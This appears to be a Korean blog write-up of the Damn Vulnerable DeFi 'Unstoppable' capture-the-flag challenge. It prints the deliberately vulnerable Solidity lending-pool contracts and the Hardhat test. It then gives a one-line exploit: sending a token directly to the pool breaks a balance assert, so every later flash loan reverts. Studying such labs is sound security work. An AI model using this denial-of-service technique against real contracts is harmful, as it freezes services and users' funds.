본문 바로가기
블록체인/Damn Vulnerable DeFi

[Damn Vulnerable DeFi]Challenge #1 - Unstoppable Receive

by Dr.Ratel 2022. 11. 17.
반응형

문제

There's a lending pool with a million DVT tokens in balance, offering flash loans for free.
If only there was a way to attack and stop the pool from offering flash loans ...
You start with 100 DVT tokens in balance.

100만 DVT 토큰이 있는 대출 Pool이 대출 서비스를 제공해주고 있다. 100 DVT를 가지고 이 대출 서비스를 공격하여 더이상 정상적으로 작동하지 않도록 하는 것이 목적이다.

 

Solution

컨트랙트 ReceiverUnstoppable.sol 과 UnstoppableLender.sol 를 분석하고 공격을 설계

1. ReceiverUnstoppable.sol 

-Unstoppable 대출 풀에서 대출 받는 사용자,

  • 소스코드
contract ReceiverUnstoppable {

    UnstoppableLender private immutable pool; 
    address private immutable owner;

    constructor(address poolAddress) {
        pool = UnstoppableLender(poolAddress);
        owner = msg.sender; 
    }

    function receiveTokens(address tokenAddress, uint256 amount) external {
        require(msg.sender == address(pool), "Sender must be pool");
        require(IERC20(tokenAddress).transfer(msg.sender, amount), "Transfer of tokens failed");
    } 

    function executeFlashLoan(uint256 amount) external {
        require(msg.sender == owner, "Only owner can execute flash loan");
        pool.flashLoan(amount);
    }
}

 

  • 함수분석
  • constructor 

생성자, 컨트랙트가 처음 생성될 때 실행, 대출 풀의 주소와 사용자의 주소를 컨트랙트에 저장

  constructor(address poolAddress) {
        pool = UnstoppableLender(poolAddress);
        owner = msg.sender; 
    }

 

  • receiveTokens 

외부에서만 호출 할 수 있도록 접근제어자가 설정됨, 대출 풀에서 초풀하는 함수로 사용자가 대출 풀에게 Amount 만큼 토큰을 전송

   function receiveTokens(address tokenAddress, uint256 amount) external {
        require(msg.sender == address(pool), "Sender must be pool");
        require(IERC20(tokenAddress).transfer(msg.sender, amount), "Transfer of tokens failed");
    }

 

  • executeFlashLoan 

Owner에서 해당 함수를 실행했다면 대출 풀의FlashLoan 함수를 호출하여 Amount만큼 대출을 받음

 

2.UnstoppableLender.sol

대출을 해주는 대출 풀

  • 소스코드
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

interface IReceiver {
    function receiveTokens(address tokenAddress, uint256 amount) external;
}


contract UnstoppableLender is ReentrancyGuard {

    IERC20 public immutable damnValuableToken;
    uint256 public poolBalance;

    constructor(address tokenAddress) { 
        require(tokenAddress != address(0), "Token address cannot be zero");
        damnValuableToken = IERC20(tokenAddress); 
    }


    function depositTokens(uint256 amount) external nonReentrant {
        require(amount > 0, "Must deposit at least one token"); 
        damnValuableToken.transferFrom(msg.sender, address(this), amount);
        poolBalance = poolBalance + amount;
    }

    function flashLoan(uint256 borrowAmount) external nonReentrant {
        require(borrowAmount > 0, "Must borrow at least one token");
        uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
        require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
        assert(poolBalance == balanceBefore);
        damnValuableToken.transfer(msg.sender, borrowAmount);
        IReceiver(msg.sender).receiveTokens(address(damnValuableToken), borrowAmount);
        uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
        require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
    }
}
  • 함수분석
  • constructor 
   constructor(address tokenAddress) { 
        require(tokenAddress != address(0), "Token address cannot be zero");
        damnValuableToken = IERC20(tokenAddress); 
    }
  • depositToken

입금되는 토큰의 양은 0보다 커야하며 이 함수를 호출한 msg.sender에게서 이 컨트랙트 주소로 Amount 만큼 토큰 이동

PoolBalance는 기존의 PoolBalance에서 새로 입금받은 양만큼 추가됨

  function depositTokens(uint256 amount) external nonReentrant {
        require(amount > 0, "Must deposit at least one token"); 
        damnValuableToken.transferFrom(msg.sender, address(this), amount);
        poolBalance = poolBalance + amount;
    }

 

  • flashloan 

대출 서비스, 사용자가 0보다 많은 토큰을 빌리고자 할때, 이 컨트랙트에 있는 damnValuableToken의 잔고가 사용자가 대출하고자 하는 양보다 많아 대출하기에 충분하면 PoolBalance와 대출하기 전의 잔고가 같은지 체크한 뒤 사용자에게 대출

사용자로부터 빌려준 양만큼 다시 토큰을 받아와 이후 컨트랙트에 있는 damnValuableToken 잔고(balanceBefore)가 대출해주기 전 damnValuableToken(balanceAfter) 잔고 이상인지 검사

대출 서비스가 제대로 작동이 되지 않으려면 이 함수를 제대로 작동하지 못하게 해야하니 조건을 충족시키지 못해 revert가 나게 될 요소가 있는지 확인. 

일반적으로 revert가 날 요소 중 하나는 오버플로우 또는 언더플로우인데 이 함수의 경우 사칙연산 중 +, -가 없어 제외

    function flashLoan(uint256 borrowAmount) external nonReentrant {
        require(borrowAmount > 0, "Must borrow at least one token");
        //조건1)borrowAmount 가 0보다 커야함. borrowAmount는 언제든 바뀔수 있는 파라미터 값으로 절대 만족하지 못 할 값으로 고정 불가
        uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
        require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
        //조건2)대출 이전의 컨트랙트내 잔고인 balanceBefore가 빌려줄 토큰의 양보다 커야함, 상기의 이유와 동일하게 값 고정 불가
        assert(poolBalance == balanceBefore); //조건3)poolBalance(depositToken 함수를 통해 입금된 토큰의 양)과 balanceBefore(잔고)가 같은지 검사
        damnValuableToken.transfer(msg.sender, borrowAmount);
        IReceiver(msg.sender).receiveTokens(address(damnValuableToken), borrowAmount);
        uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
        require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
    }

[조건3]
depositTokens 함수를 이용해 컨트랙트에 토큰을 전송 할 수 있다면 이 조건이 만족하겠지만, 컨트랙트 특성상 컨트랙트의 주소로 토큰을 전송 할 수 있어 balanceBefore 값 조작 가능
이 컨트랙트 주소로 직접 전송하게 되면 depositTokens으로 입금한 것이 아니므로 poolBalance는 증가하지 않아 조건이 항상 만족하지 못하고 revert 처리

Attack

컨트랙트 주소로 토큰을 전송하여 poolBalance 와 balanceBefore를 다르게 만들어 항상 flashLoan 함수가 revert되도록 공격

  •  unstoppable.challenge.js 
const { ethers } = require('hardhat');
const { expect } = require('chai');

describe('[Challenge] Unstoppable', function () {
    let deployer, attacker, someUser;

    // Pool has 1M * 10**18 tokens
    const TOKENS_IN_POOL = ethers.utils.parseEther('1000000');
    const INITIAL_ATTACKER_TOKEN_BALANCE = ethers.utils.parseEther('100');

    before(async function () {
        /** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */

        [deployer, attacker, someUser] = await ethers.getSigners();

        const DamnValuableTokenFactory = await ethers.getContractFactory('DamnValuableToken', deployer);
        const UnstoppableLenderFactory = await ethers.getContractFactory('UnstoppableLender', deployer);

        this.token = await DamnValuableTokenFactory.deploy();
        this.pool = await UnstoppableLenderFactory.deploy(this.token.address);

        await this.token.approve(this.pool.address, TOKENS_IN_POOL);
        await this.pool.depositTokens(TOKENS_IN_POOL);

        await this.token.transfer(attacker.address, INITIAL_ATTACKER_TOKEN_BALANCE);

        expect(
            await this.token.balanceOf(this.pool.address)
        ).to.equal(TOKENS_IN_POOL);

        expect(
            await this.token.balanceOf(attacker.address)
        ).to.equal(INITIAL_ATTACKER_TOKEN_BALANCE);

         // Show it's possible for someUser to take out a flash loan
         const ReceiverContractFactory = await ethers.getContractFactory('ReceiverUnstoppable', someUser);
         this.receiverContract = await ReceiverContractFactory.deploy(this.pool.address);
         await this.receiverContract.executeFlashLoan(10);
    });

    it('Exploit', async function () {
				/** Exploit Code */
    });

    after(async function () {
        /** SUCCESS CONDITIONS */

        // It is no longer possible to execute flash loans
        await expect(
            this.receiverContract.executeFlashLoan(10)
        ).to.be.reverted;
    });
});

각 컨트랙트는 deploy 상태며, 대출 풀에는 100만개의 토큰이 deposit으로 입금되어 있고 Attacker는 100개 토큰을 가지고 있음.

하단의 코드를 공격 설계한대로 Attacker가 대출 풀의 주소로 토큰을 0개보다 많이 보내는 코드 작성

 it('Exploit', async function () {
				/** Exploit Code */
    });

 

  • 공격코드
it('Exploit', async function () {
        const attackTokenContract = this.token.connect(attacker);
        await attackTokenContract.transfer(this.pool.address,1);
});

 

this.token.connect(attacker)를 통해 공격자의 주소로 연결 후 하단의 주소에서 대출 풀의 주소로 토큰 1개를 보내는 코드를 통해 공격

https://docs.ethers.io/v5/single-page/#/v5/api/contract/contract/-%23-Contract-connect

DASP TOP 10

-Reentrancy Attack (재진입성 공격): 검증 및 신뢰되지 않은 외부 스마트 컨트랙트가 보안에 취약한 함수를 호술하고, 다시 취약성을 가지는 컨트랙트로 진입 하는 것

반응형

댓글